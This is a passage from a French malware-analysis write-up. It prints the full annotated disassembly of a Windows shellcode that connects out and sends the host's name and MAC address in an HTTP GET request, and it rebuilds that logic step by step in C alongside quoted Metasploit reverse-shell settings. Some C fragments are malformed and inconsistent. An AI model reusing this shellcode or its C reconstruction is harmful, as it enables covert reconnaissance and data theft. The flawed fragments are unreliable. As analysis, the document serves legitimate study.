00000263: B9 4F 00 00 00 MOV ECX, 0000004Fh "O"

00000268: 8D B5 75 02 00 00 LEA ESI,[EBP+0x00000275]

0000026E: F3 A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

00000270: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]

00000276: E8 CB FF FF FF CALL FFFFFFCBh (-35h ->:00000246)

0000027B: C3 RET

0000027C: 0D 0A 43 6F 6E OR EAX,6E6F430Ah

00000281: 6E

00000282: 65

00000283: 63

00000284: 74 69 JZ 0x69 (+69h ->:000002EF)

00000286: 6F

00000287: 6E

00000288: 3A

00000289: 20

0000028A: 6B

0000028B: 65

0000028C: 65

0000028D: 70

0000028E: 2D 61 6C 69 76 SUB EAX,76696C61h

00000293: 65

00000294: 0D 0A 41 63 63 OR EAX,6363410Ah

00000299: 65

0000029A: 70

0000029B: 74 3A JZ 0x3A (+3Ah ->:000002D7)

0000029D: 20

0000029E: 2A

0000029F: 2F

000002A0: 2A

000002A1: 0D 0A 41 63 63 OR EAX,6363410Ah

000002A6: 65

000002A7: 70

000002A8: 74 2D JZ 0x2D (+2Dh ->:000002D7)

000002AA: 45 INC EBP

000002AB: 6E

000002AC: 63

000002AD: 6F

000002AE: 64

000002AF: 69

000002B0: 6E

000002B1: 67

000002B2: 3A

000002B3: 20

000002B4: 67

000002B5: 7A 69 JP 69h (rel8)(+69h ->:00000320)

000002B7: 70

000002B8: 0D 0A 0D 0A 00 OR EAX,000A0D0Ah

000002BD: 83 C7 0E ADD EDI,0Eh

000002C0: 31 C9 XOR ECX,ECX

000002C2: F7 D1 NOT ECX

000002C4: 31 C0 XOR EAX,EAX

000002C6: F3

000002C7: AE SCAS AL, BYTE PTR ES:[EDI]

000002C8: 4F DEC EDI

000002C9: FF E7 JMP EDI

000002CB: 0D 0A 43 6F 6F OR EAX,6F6F430Ah

000002D0: 6B

000002D1: 69

000002D2: 65

000002D3: 3A

000002D4: 20

000002D5: 49 DEC ECX

000002D6: 44 INC ESP

000002D7: 3D 77 73 32 5F CMP EAX,5F327377h ( 5F327377h ('ws2_') Mirror > '_2sw')

000002DC: 33 32 XOR ESI,DWORD PTR[EDX]

000002DE: 00

000002DF: 49 DEC ECX

000002E0: 50 PUSH EAX

000002E1: 48 DEC EAX

000002E2: 4C DEC ESP

000002E3: 50 PUSH EAX

000002E4: 41 INC ECX

000002E5: 50 PUSH EAX

000002E6: 49 DEC ECX

000002E7: 00

000002E8: 02 00 ADD AL,BYTE PTR[EAX]

000002EA: 00

000002EB: 59 POP ECX

000002EC: 7F 00 JG 00h (-00h ->:000002EE)

000002EE: 00

000002EF: 01

000002F0: 47 INC EDI

000002F1: 45 INC EBP

000002F2: 54 PUSH ESP

000002F3: 20

000002F4: 2F

000002F5: 30

000002F6: 35 63 65 61 34 XOR EAX,34616563h

000002FB: 64

000002FC: 65

000002FD: 2D 39 35 31 64 SUB EAX,64313539h

00000302: 2D 34 30 33 37 SUB EAX,37333034h

00000307: 2D 62 66 38 66 SUB EAX,66386662h

0000030C: 2D 66 36 39 30 SUB EAX,30393666h

00000311: 35 35 62 32 37 XOR EAX,37326235h

00000316: 39

00000317: 62

00000318: 62

00000319: 20

0000031A: 48 DEC EAX

0000031B: 54 PUSH ESP

0000031C: 54 PUSH ESP

0000031D: 50 PUSH EAX

0000031E: 2F

0000031F: 31 2E

00000321: 31 0D

00000323: 0A

00000324: 48 DEC EAX

00000325: 6F

00000326: 73 74 JNB SHORT 74h (-FFFFFF8Ch ->:0000039C)

00000328: 3A

00000329: 20

0000032A: 00 00 ADD BYTE PTR[EAX],AL

0000032C: 00 00 ADD BYTE PTR[EAX],AL

0000032E: 00 00 ADD BYTE PTR[EAX],AL

00000330: 00 00 ADD BYTE PTR[EAX],AL

00000332: 00 00 ADD BYTE PTR[EAX],AL

00000334: 00 00 ADD BYTE PTR[EAX],AL

00000336: 00 00 ADD BYTE PTR[EAX],AL

00000338: 00 00 ADD BYTE PTR[EAX],AL

0000033A: 00 00 ADD BYTE PTR[EAX],AL

0000033C: 00 00 ADD BYTE PTR[EAX],AL

0000033E: 00 00 ADD BYTE PTR[EAX],AL

00000340: 00 00 ADD BYTE PTR[EAX],AL

00000342: 00 00 ADD BYTE PTR[EAX],AL

00000344: 00 00 ADD BYTE PTR[EAX],AL

00000346: 00 00 ADD BYTE PTR[EAX],AL

00000348: 00 00 ADD BYTE PTR[EAX],AL

0000034A: 00 00 ADD BYTE PTR[EAX],AL

0000034C: 00 00 ADD BYTE PTR[EAX],AL

0000034E: 00 00 ADD BYTE PTR[EAX],AL

00000350: 00 00 ADD BYTE PTR[EAX],AL

00000352: 00 00 ADD BYTE PTR[EAX],AL

00000354: 00 00 ADD BYTE PTR[EAX],AL

00000356: 00 00 ADD BYTE PTR[EAX],AL

00000358: 00 00 ADD BYTE PTR[EAX],AL

0000035A: 00 00 ADD BYTE PTR[EAX],AL

0000035C: 00 00 ADD BYTE PTR[EAX],AL

0000035E: 00 00 ADD BYTE PTR[EAX],AL

00000360: 00 00 ADD BYTE PTR[EAX],AL

00000362: 00 00 ADD BYTE PTR[EAX],AL

00000364: 00 00 ADD BYTE PTR[EAX],AL

00000366: 00 00 ADD BYTE PTR[EAX],AL

00000368: 00 00 ADD BYTE PTR[EAX],AL

0000036A: 00 00 ADD BYTE PTR[EAX],AL

0000036C: 00 00 ADD BYTE PTR[EAX],AL

0000036E: 00 00 ADD BYTE PTR[EAX],AL

00000370: 00 00 ADD BYTE PTR[EAX],AL

00000372: 00 00 ADD BYTE PTR[EAX],AL

00000374: 00 00 ADD BYTE PTR[EAX],AL

00000376: 00 00 ADD BYTE PTR[EAX],AL

00000378: 00 00 ADD BYTE PTR[EAX],AL

0000037A: 00 00 ADD BYTE PTR[EAX],AL

0000037C: 00 00 ADD BYTE PTR[EAX],AL

0000037E: 00 00 ADD BYTE PTR[EAX],AL

00000380: 00 00 ADD BYTE PTR[EAX],AL

00000382: 00 00 ADD BYTE PTR[EAX],AL

00000384: 00 00 ADD BYTE PTR[EAX],AL

00000386: 00 00 ADD BYTE PTR[EAX],AL

00000388: 00 00 ADD BYTE PTR[EAX],AL

0000038A: 00 00 ADD BYTE PTR[EAX],AL

0000038C: 00 00 ADD BYTE PTR[EAX],AL

0000038E: 00 00 ADD BYTE PTR[EAX],AL

00000390: 00 00 ADD BYTE PTR[EAX],AL

00000392: 00 00 ADD BYTE PTR[EAX],AL

00000394: 00 00 ADD BYTE PTR[EAX],AL

00000396: 00 00 ADD BYTE PTR[EAX],AL

00000398: 00 00 ADD BYTE PTR[EAX],AL

0000039A: 00 00 ADD BYTE PTR[EAX],AL

0000039C: 00 00 ADD BYTE PTR[EAX],AL

0000039E: 00 00 ADD BYTE PTR[EAX],AL

000003A0: 00 00 ADD BYTE PTR[EAX],AL

000003A2: 00 00 ADD BYTE PTR[EAX],AL

000003A4: 00 00 ADD BYTE PTR[EAX],AL

000003A6: 00 00 ADD BYTE PTR[EAX],AL

000003A8: 00 00 ADD BYTE PTR[EAX],AL

000003AA: 00 00 ADD BYTE PTR[EAX],AL

000003AC: 00 00 ADD BYTE PTR[EAX],AL

000003AE: 00 00 ADD BYTE PTR[EAX],AL

000003B0: 00 00 ADD BYTE PTR[EAX],AL

000003B2: 00 00 ADD BYTE PTR[EAX],AL

000003B4: 00 00 ADD BYTE PTR[EAX],AL

000003B6: 00 00 ADD BYTE PTR[EAX],AL

000003B8: 00 00 ADD BYTE PTR[EAX],AL

000003BA: 00

000003BB: 90 NOP

En passant en mode "Diagram" l'outil permet de recherche les chaînes et signature des blocs déjà connue lors d'ancien analyse. Voir la capture fournit en dessous

Nous mettons le listing obtenu pour vous permettre de suivre le cheminement et bien voir les blocs importants et commencé a éclaire le fonctionnement de charge étudié.

00000000: 60 PUSHAD

00000001: FC CLD // Clear Direction Flag

00000002: E8 8A 00 00 00 CALL 0000008Ah (+8Ah ->:00000091)

00000007 -> 0000008F: =>CallFnByHash13Hybride_V1(Dll!Name)

00000090: 90 NOP

00000091: 5D POP EBP

00000092: 81 BD E9 02 00 00 47 45 54 20 CMP DWORD PTR[EBP+0x000002E9],0x20544547 ("GET ")

0000009C: 75 70 JNZ 70h (rel8)(+70h ->:0000010E)

0000009E: 8D 85 D1 02 00 00 LEA EAX,DWORD PTR[EBP + 000002D1h]

000000A4: 50 PUSH EAX

000000A5: 68 4C 77 26 07 PUSH 0726774Ch "Lw&" (0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))

000000AA: FF D5 CALL EBP

000000AC: 85 C0 TEST EAX,EAX

000000AE: 74 5E JZ 0x5E (+5Eh ->:0000010E)

000000B0: 8D 85 D8 02 00 00 LEA EAX,DWORD PTR[EBP + 000002D8h]

000000B6: 50 PUSH EAX

000000B7: 68 4C 77 26 07 PUSH 0726774Ch "Lw&" (0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))

000000BC: FF D5 CALL EBP

000000BE: 85 C0 TEST EAX,EAX

000000C0: 74 4C JZ 0x4C (+4Ch ->:0000010E)

000000C2: BB 90 01 00 00 MOV EBX,00000190h ""

000000C7: 29 DC SUB ESP,EBX

000000C9: 54 PUSH ESP

000000CA: 53 PUSH EBX

000000CB: 68 29 80 6B 00 PUSH 006B8029h ")€k" (006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))

000000D0: FF D5 CALL EBP

000000D2: 01 DC ADD ESP,EBX

000000D4: 85 C0 TEST EAX,EAX

000000D6: 75 36 JNZ 36h (rel8)(+36h ->:0000010E)

000000D8: 50 PUSH EAX

000000D9: 50 PUSH EAX

000000DA: 50 PUSH EAX

000000DB: 50 PUSH EAX

000000DC: 40 INC EAX

000000DD: 50 PUSH EAX

000000DE: 40 INC EAX

000000DF: 50 PUSH EAX

000000E0: 68 EA 0F DF E0 PUSH E0DF0FEAh "êß" (E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))

000000E5: FF D5 CALL EBP

000000E7: 31 DB XOR EBX,EBX

000000E9: F7 D3 NOT EBX

000000EB: 39 C3 CMP EBX,EAX

000000ED: 74 1F JZ 0x1F (+1Fh ->:0000010E)

000000EF: 89 C3 MOV EBX,EAX

000000F1: 6A 10 PUSH 10h (16) ''

000000F3: 8D B5 E1 02 00 00 LEA ESI,[EBP+0x000002E1]

000000F9: 56 PUSH ESI

000000FA: 53 PUSH EBX

000000FB: 68 99 A5 74 61 PUSH 6174A599h "™¥ta" (6174A599=Hash[Ror13-Hybrid](ws2_32.dll!connect))

00000100: FF D5 CALL EBP

00000102: 85 C0 TEST EAX,EAX

00000104: 74 1F JZ 0x1F (+1Fh ->:00000125)

00000106: FE 8D 89 00 00 00 DEC BYTE PTR[EBP+0x00000089]

0000010C: 75 E3 JNZ E3h (rel8)(-1Dh ->:000000F1)

0000010E: 80 BD 4F 02 00 00 01 CMP BYTE PTR[EBP+0x0000024F],0x01

00000115: 74 07 JZ 0x07 (+07h ->:0000011E)

00000117: E8 3B 01 00 00 CALL 0000013Bh (+13Bh ->:00000257)

0000011C: EB 05 JMP 05h +05h ->:00000123)

0000011E: E8 4D 01 00 00 CALL 0000014Dh (+14Dh ->:00000270)

00000123: FF E7 JMP EDI

00000125: B8 00 01 00 00 MOV EAX, 00000100h ""

0000012A: 29 C4 SUB ESP,EAX

0000012C: 89 E2 MOV EDX,ESP

0000012E: 52 PUSH EDX

0000012F: 50 PUSH EAX

00000130: 52 PUSH EDX

00000131: 68 B6 49 DE 01 PUSH 01DE49B6h "¶IÞ" (01DE49B6=Hash[ROR13-Hybrid](ws2_32.dll!gethostname))

00000136: FF D5 CALL EBP

00000138: 5F POP EDI

00000139: 81 C4 00 01 00 00 ADD ESP,00000100h (256)

0000013F: 85 C0 TEST EAX,EAX

00000141: 0F 85 F2 00 00 00 JNE 000000F2h (+F2h ->:00000239)

00000147: 57 PUSH EDI

00000148: E8 F9 00 00 00 CALL 000000F9h (+F9h ->:00000246)

0000014D: 5E POP ESI

0000014E: 89 CA MOV EDX,ECX

00000150: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]

00000156: E8 EB 00 00 00 CALL 000000EBh (+EBh ->:00000246)

0000015B: 4F DEC EDI

0000015C: 83 FA 20 CMP EDX,+20h

0000015F: 7C 05 JL 05h (rel8)(+05h ->:00000166)

00000161: BA 20 00 00 00 MOV EDX, 00000020h

00000166: 89 D1 MOV ECX,EDX

00000168: 56 PUSH ESI

00000169: F3 A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

0000016B: B9 0D 00 00 00 MOV ECX, 0000000Dh ""

00000170: 8D B5 C4 02 00 00 LEA ESI,[EBP+0x000002C4]

00000176: F3 A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

00000178: 89 BD 4B 02 00 00 MOV DWORD PTR[EBP+0000024Bh],EDI

0000017E: 5E POP ESI

0000017F: 56 PUSH ESI

00000180: 68 A9 28 34 80 PUSH 803428A9h "©(4" (803428A9=Hash[ROR13-Hybrid](ws2_32.dll!gethostbyname))

00000185: FF D5 CALL EBP

00000187: 85 C0 TEST EAX,EAX

00000189: 0F 84 AA 00 00 00 JE 000000AAh (+AAh ->:00000239)

0000018F: 66 8B 48 0A MOV CX,WORD PTR[EAX+0x0A]

00000193: 66 83 F9 04 CMP CX,0x0004

00000197: 0F 82 9C 00 00 00 JB Loc_00000239

0000019D: 8D 40 0C LEA EAX,DWORD PTR [EAX+0Ch]

000001A0: 8B 00 MOV EAX,DWORD PTR [EAX]

000001A2: 8B 08 MOV ECX,DWORD PTR [EAX]

000001A4: 8B 09 MOV ECX,DWORD PTR [ECX]

000001A6: B8 00 01 00 00 MOV EAX, 00000100h ""

000001AB: 50 PUSH EAX

000001AC: 89 E7 MOV EDI,ESP

000001AE: 29 C4 SUB ESP,EAX

000001B0: 89 E6 MOV ESI,ESP

000001B2: 57 PUSH EDI

000001B3: 56 PUSH ESI

000001B4: 51 PUSH ECX

000001B5: 51 PUSH ECX

000001B6: 68 48 72 D2 B8 PUSH B8D27248h "HrÒ¸" (B8D27248=Hash[Ror13-Hybrid](iphlpapi.dll!SendARP))

000001BB: FF D5 CALL EBP

000001BD: 85 C0 TEST EAX,EAX

000001BF: 81 C4 04 01 00 00 ADD ESP,00000104h (260)

000001C5: 0F B7 0F MOVZX ECX,WORD PTR [EDI]

000001C8: 83 F9 06 CMP EAX,+06h

000001CB: 72 6C JB (rel8) 6Ch (-FFFFFF94h ->:00000239)

000001CD: B9 06 00 00 00 MOV ECX, 00000006h ""

000001D2: B8 10 00 00 00 MOV EAX, 00000010h ""

000001D7: 29 C4 SUB ESP,EAX

000001D9: 89 E7 MOV EDI,ESP

000001DB: 89 CA MOV EDX,ECX

000001DD: D1 E2 SHL EDX,1

000001DF: 50 PUSH EAX

000001E0: 52 PUSH EDX

000001E1: 31 D2 XOR EDX,EDX

000001E3: 8A 16 MOV DL, BYTE PTR [ESI]

000001E5: 88 D0 MOV AL,DL

000001E7: 24 F0 AND AL,0xF0

000001E9: C0 E8 04 SHR AL,0x04

000001EC: 3C 09 CMP AL,09h

000001EE: 77 04 JA 04h (Jump if Above)(+04h ->:000001F4)

000001F0: 04 30 ADD AL,0x30

000001F2: EB 02 JMP 02h +02h ->:000001F6)

000001F4: 04 37 ADD AL,0x37

000001F6: 88 07 MOV BYTE PTR[EDI],AL

000001F8: 47 INC EDI

000001F9: 88 D0 MOV AL,DL

000001FB: 24 0F AND AL,0x0F

000001FD: 3C 09 CMP AL,09h

000001FF: 77 04 JA 04h (Jump if Above)(+04h ->:00000205)

00000201: 04 30 ADD AL,0x30

00000203: EB 02 JMP 02h +02h ->:00000207)

00000205: 04 37 ADD AL,0x37

00000207: 88 07 MOV BYTE PTR[EDI],AL

00000209: 47 INC EDI

0000020A: 46 INC ESI

0000020B: E2 D4 LOOP D4h (-FFFFFFD4h=>:000001E1) Dec ECX or CX jump if !=0

0000020D: 59 POP ECX

0000020E: 29 CF SUB EDI,ECX

00000210: 89 FE MOV ESI,EDI

00000212: 58 POP EAX

00000213: 01 C4 ADD ESP,EAX

00000215: 8B BD 4B 02 00 00 MOV EDI,DWORD PTR[EBP+0x0000024B]

0000021B: F3 A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

0000021D: C6 85 4F 02 00 00 01 MOV BYTE PTR[EBP+0000024Fh],01h => ''

00000224: E8 2E 00 00 00 CALL 0000002Eh (+2Eh ->:00000257)

00000229: 31 C0 XOR EAX,EAX

0000022B: 50 PUSH EAX

0000022C: 51 PUSH ECX

0000022D: 29 CF SUB EDI,ECX

0000022F: 4F DEC EDI

00000230: 57 PUSH EDI

00000231: 53 PUSH EBX

00000232: 68 C2 EB 38 5F PUSH 5F38EBC2h "Âë8_" (5F38EBC2=Hash[ROR13-Hybrid](ws2_32.dll!send))

00000237: FF D5 CALL EBP

00000239: 53 PUSH EBX

0000023A: 68 75 6E 4D 61 PUSH 614D6E75h "unMa" (614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))

0000023F: FF D5 CALL EBP

00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)

00000246: 31 C9 XOR ECX,ECX

00000248: F7 D1 NOT ECX

0000024A: 31 C0 XOR EAX,EAX

0000024C: F2 AE REPNE SCAS BYTE PTR ES:[EDI]

0000024E: F7 D1 NOT ECX

00000250: 49 DEC ECX

00000251: C3 RET

00000252: 00 00 ADD BYTE PTR[EAX],AL

00000254: 00 00 ADD BYTE PTR[EAX],AL

00000256: 01

00000257: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]

0000025D: E8 E4 FF FF FF CALL FFFFFFE4h (-1Ch ->:00000246)

00000262: 4F DEC EDI

00000263: B9 4F 00 00 00 MOV ECX, 0000004Fh "O"

00000268: 8D B5 75 02 00 00 LEA ESI,[EBP+0x00000275]

0000026E: F3 A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

00000270: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]

00000276: E8 CB FF FF FF CALL FFFFFFCBh (-35h ->:00000246)

0000027B: C3 RET

0000027C -> 000002BD: db '

Connection: keep-alive

Accept: */*

Accept-Encoding: gzip

',00h

000002BD: 83 C7 0E ADD EDI,0Eh

000002C0: 31 C9 XOR ECX,ECX

000002C2: F7 D1 NOT ECX

000002C4: 31 C0 XOR EAX,EAX

000002C6: F3

000002C7: AE SCAS AL, BYTE PTR ES:[EDI]

000002C8: 4F DEC EDI

000002C9: FF E7 JMP EDI

000002CB: 0D 0A 43 6F 6F OR EAX,6F6F430Ah

000002D0: 6B

000002D1: 69

000002D2: 65

000002D3: 3A

000002D4: 20

000002D5: 49 DEC ECX

000002D6: 44 INC ESP

000002D7: 3D 77 73 32 5F CMP EAX,5F327377h ( 5F327377h ('ws2_') Mirror > '_2sw')

000002DC: 33 32 XOR ESI,DWORD PTR[EDX]

000002DE: 00

000002DF: 49 DEC ECX

000002E0: 50 PUSH EAX

000002E1: 48 DEC EAX

000002E2: 4C DEC ESP

000002E3: 50 PUSH EAX

000002E4: 41 INC ECX

000002E5: 50 PUSH EAX

000002E6: 49 DEC ECX

000002E7: 00

000002E8: 02 00 ADD AL,BYTE PTR[EAX]

000002EA: 00

000002EB: 59 POP ECX

000002EC: 7F 00 JG 00h (-00h ->:000002EE)

000002EE: 00

000002EF: 01

000002F0 -> 0000032B: db 'GET /05cea4de-951d-4037-bf8f-f69055b279bb HTTP/1.1

Host: ',00h

IV. Transposition du code en l'équivalent C

A la différence des autres analyse, nous avons faire le parallèle entre le codes assembleur brute et l'équivant en C. Pour permettre au personne moins familiarisé à l'assembleur de comprend le fonctionnement du programme et de pouvoir facilement crée leur propre simulateur en C de la charge.

Avec le listing, il est bien plus facile de lire ce shellcode et commencé son analyse détaillé

Les premiers opcode sont assez classique, ils permettent de récupération l'adresse d'une fonction par saut de la fonction via un call et ainsi de pousser sur la pile l'adresse de la fonction sur la pile de la dit fonction.

00000002: E8 8A 00 00 00 CALL 0000008Ah (+8Ah ->:00000091)

00000007 -> 0000008F: =>CallFnByHash13Hybride_V1(Dll!Name)

00000090: 90 NOP

00000091: 5D POP EBP

En ligne 91, nous avons donc EBP contenant la valeur 0x00000007 qui correspond à l'Adresse de la fonction "CallFnByHash13Hybride_V1(Dll!Name)"

Il est intéressant de voir cette fonction dans le shellcode. Cette fonction est présent dans plusieurs shellcode et surtout chez "Metasploit"

Nous mettons quelques références utilisant cette fonction

* windows/shell_reverse_tcp - 314 bytes

* http://www.metasploit.com

* AutoRunScript=, LHOST=192.168.200.1, EXITFUNC=process,

* InitialAutoRunScript=, LPORT=443, ReverseConnectRetries=5

* windows/shell_bind_tcp - 341 bytes

* http://www.metasploit.com

* VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

* InitialAutoRunScript=, AutoRunScript=

Elle sert à appeler des fonctions avec la sélection de celle-ci par un hash hybride composé de la DLL et de l'API ciblé ou dit hash composite.

Nous avons mis un schéma conceptuel du mode d'appel

La ligne suivante est simplement une comparaison si la chaîne situé à l'adresse

0x000002F0 ( EBP=0x00000007+0x000002E9 ) avec les 4 premiers octets "GET "

00000092: 81 BD E9 02 00 00 47 45 54 20 CMP DWORD PTR[EBP+0x000002E9],0x20544547 ("GET ")

0000009C: 75 70 JNZ 70h (rel8)(+70h ->:0000010E)

l'instruction JNZ ((jump if not zero) fait un saut si le drapeau Z n'est pas 0 comme CMP quand à elle mes l'indicateur Z à 1 si les deux valeurs sont égales

Cela correspond simple en C

if(strcmp(pszString,"GET "))

{

// la chaîne ne contient pas "GET "

}

else

{

// la chaîne commence par GET ( Au niveau du shellcode zone en 0x0000010E )

}

Nous continuons l'analyse dans la partie ou la chaîne ne contient pas "GET "

0000009E: 8D 85 D1 02 00 00 LEA EAX,DWORD PTR[EBP + 0x000002D1]

000000A4: 50 PUSH EAX

000000A5: 68 4C 77 26 07 PUSH 0726774Ch "Lw&" (0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))

000000AA: FF D5 CALL EBP

L'instruction LEA EAX,DWORD PTR[EBP+0x000002D1] positionne dans EAX l'adresse 0x000002D8 ( EBP = 0x00000007+0x000002D1 ). Cette adresse pointe une chaîne

"ws2_32" qui correspond au nom de la DLL ( w2s_32.dll )

les ligne de A4 à AA correspond à l'appel de Api "LoadLibraryA"

cela nous donne l'ajout suivant à notre code C:

if(strcmp(pszString,"GET "))

{

// la chaîne ne contient pas "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

}

else

{

// la chaîne commence par GET ( Au niveau du shellcode zone en 0x0000010E )

}

en continuant nous avons la partie test qui suit l'appel de LoadLibrary

000000AC: 85 C0 TEST EAX,EAX

000000AE: 74 5E JZ 0x5E (+5Eh ->:0000010E)

cela nous permet de complété le code en l'ajoutant.

if(strcmp(pszString,"GET "))

{

// la chaîne ne contient pas "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

else

{

}

else

{

// la chaîne commence par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

TEST fait un & ( ET ) logique entre les deux registres si la valeur est 0, il met également le Flag Zéro à 1

Saut si ZF = 1 : jz (jump if zero) effectue le saut l'adresse définit

si la handle hWs2_32 n'est pas NULL alors on continue. Nous allons regarder les lignes du shellcode. Avant nous allons regarder la taille de la structure WSADATA avec la ligne en dessous

DWORD dwStWSADATA_Size = sizeof(WSADATA);

Nous obtenons qu'elle est de 400 octets en décimale qui convertie en hexa donne 0x190

Maintenant il sera plus simple de lire les lignes suivant

000000C2: BB 90 01 00 00 MOV EBX,00000190h ""

000000C7: 29 DC SUB ESP,EBX

000000C9: 54 PUSH ESP

000000CA: 53 PUSH EBX

000000CB: 68 29 80 6B 00 PUSH 006B8029h ")€k" (006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))

000000D0: FF D5 CALL EBP

Cela correspond à l'appel de l'api WSAStartup comme on peut écrire en C assez basiquement

WSADATA WSAData;

WSAStartup(MAKEWORD(1,9), &WSAData);

Complétons notre code

if(!strcmp(pszString,"GET "))

{

// la chaîne contient "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

                 WSADATA WSAData;

                 int iRes = WSAStartup(MAKEWORD(1,9),
  &WSAData);

}

else

{

// la chaîne ne commence pas par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

Les lignes qui suivent son assez évidente, encore un teste du retour de la fonction. Comme l'API WSAStartup renvoi 0 si l'appel à réussi. Le test est logique

000000D4: 85 C0 TEST EAX,EAX

000000D6: 75 36 JNZ 36h (rel8)(+36h ->:0000010E)

TEST fait un & (ET) logique entre les deux registres si la valeur est 0, il met également le Flag Zéro à 1 .

Saut si ZF = 0 : jnz (jump if not zero) effectue le saut l'adresse définit

Complétons notre code

if(!strcmp(pszString,"GET "))

{

// la chaîne contient "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

                 WSADATA WSAData;

                 int iRes = WSAStartup(MAKEWORD(1,9),
  &WSAData);

if(iRes) goto Error; // Aller à l'adresse 0000010E

}

else

{

// la chaîne ne commence pas par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

Suivons notre analyse, on trouve ensuite les lignes suivant:

000000D8: 50 PUSH EAX

000000D9: 50 PUSH EAX

000000DA: 50 PUSH EAX

000000DB: 50 PUSH EAX

000000DC: 40 INC EAX

000000DD: 50 PUSH EAX

000000DE: 40 INC EAX

000000DF: 50 PUSH EAX

000000E0: 68 EA 0F DF E0 PUSH E0DF0FEAh "êß" (E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))

000000E5: FF D5 CALL EBP

Pour vous permettre de voir correctement les paramètres passés. Nous vous mettons les déclaration suivante:

#define IPPROTO_IP 0 /* Dummy protocol for TCP. */

#define SOCK_STREAM 1 /* stream (connection) socket */

#define AF_INET 2 /* Internet IP Protocol */

SOCKET s1;

s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);

On peut ainsi complété notre écriture en C de la manière suivant:

if(!strcmp(pszString,"GET "))

{

// la chaîne contient "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

                 WSADATA WSAData;

                 int iRes = WSAStartup(MAKEWORD(1,9),
  &WSAData);

if(iRes) goto Error; // Aller à l'adresse 0000010E

              SOCKET s1;

s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);

}

else

{

// la chaîne ne commence pas par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

Rappel si la API échoue renvoi

#define INVALID_SOCKET          ((SOCKET)(~0))

#define SOCKET_ERROR            (-1)

ce qui nous permet de mieux comprendre les lignes le test suivant:

000000E7: 31 DB XOR EBX,EBX

000000E9: F7 D3 NOT EBX

000000EB: 39 C3 CMP EBX,EAX

000000ED: 74 1F JZ 0x1F (+1Fh ->:0000010E)

Nous regardons ce qui ce trouve à cette Adresse si l'URL contient "GET "

0000010E: 80 BD 4F 02 00 00 01 CMP BYTE PTR[EBP+0x0000024F],0x01

00000115: 74 07 JZ 0x07 (+07h ->:0000011E)

on garde cela pour remplir le cas ou socket égale SOCKET_ERROR.

Nous remplissons notre équivalent.

if(!strcmp(pszString,"GET "))

{

// la chaîne contient "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

                 WSADATA WSAData;

                 int iRes
  = WSAStartup(MAKEWORD(1,9), &WSAData);

if(iRes) goto Error; // Aller à l'adresse 0000010E

              SOCKET s1;

s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);

if( s1 == SOCKET_ERROR )

{

goto Error; // Aller à l'adresse 0000010E

}

else

{

}

else

{

// la chaîne ne commence pas par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

Continuons dans le cas ou la socket est crée correctement, on passe dans le code suivant:

000000EF: 89 C3 MOV EBX,EAX

000000F1: 6A 10 PUSH 10h (16) ''

000000F3: 8D B5 E1 02 00 00 LEA ESI,[EBP+0x000002E1]

000000F9: 56 PUSH ESI

000000FA: 53 PUSH EBX

000000FB: 68 99 A5 74 61 PUSH 6174A599h "™¥ta" (6174A599=Hash[Ror13-Hybrid](ws2_32.dll!connect))

00000100: FF D5 CALL EBP

Nous remettons la définition de la MSDN de l'API connect

int WSAAPI connect( SOCKET s, const sockaddr *name, int  namelen);

la ligne que l'on va regarder de plus prés et celle correspondant au passage de la sturcture sockaddr. Au travers de la ligne suivante

000000F3: 8D B5 E1 02 00 00 LEA ESI,[EBP+0x000002E1]

Comme EBP, pointe vers l'adresse de l'CallFnByHash13Hybride_V1(Dll!Name) à l'adresse 00000007

